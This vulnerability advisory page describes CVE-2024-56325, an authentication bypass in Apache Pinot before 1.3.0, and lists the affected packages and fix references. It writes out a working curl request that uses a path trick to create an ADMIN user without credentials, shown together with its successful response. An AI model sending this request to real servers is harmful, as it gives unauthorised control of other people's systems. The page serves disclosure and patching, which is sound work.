CVE-2024-56325: Apache Pinot Vulnerable to Authentication Bypass
Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. Expected Normal Request and Response Example curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"} http://{serverip}:9000/users Return:…
Published Apr 1, 2025 · Updated Aug 31, 2026
Affected packages
org.apache.pinot:pinot-broker
- Ecosystem
- Maven
- Affected
- >= 0.8.0, < 1.3.0
- Fixed in
- 1.3.0
- Check
mvn dependency:tree -Dincludes=org.apache.pinot:pinot-broker
org.apache.pinot:pinot-common
- Ecosystem
- Maven
- Affected
- >= 0.8.0, < 1.3.0
- Fixed in
- 1.3.0
- Check
mvn dependency:tree -Dincludes=org.apache.pinot:pinot-common
org.apache.pinot:pinot-controller
- Ecosystem
- Maven
- Affected
- >= 0.8.0, < 1.3.0
- Fixed in
- 1.3.0
- Check
mvn dependency:tree -Dincludes=org.apache.pinot:pinot-controller
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Credited to AnonySE26, sealbenb.
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-56325
- https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v
- https://github.com/apache/pinot/pull/14383
- https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f
- https://github.com/apache/pinot/releases/tag/release-1.3.0
- https://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121
- https://github.com/advisories/GHSA-6jwp-4wvj-6597
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
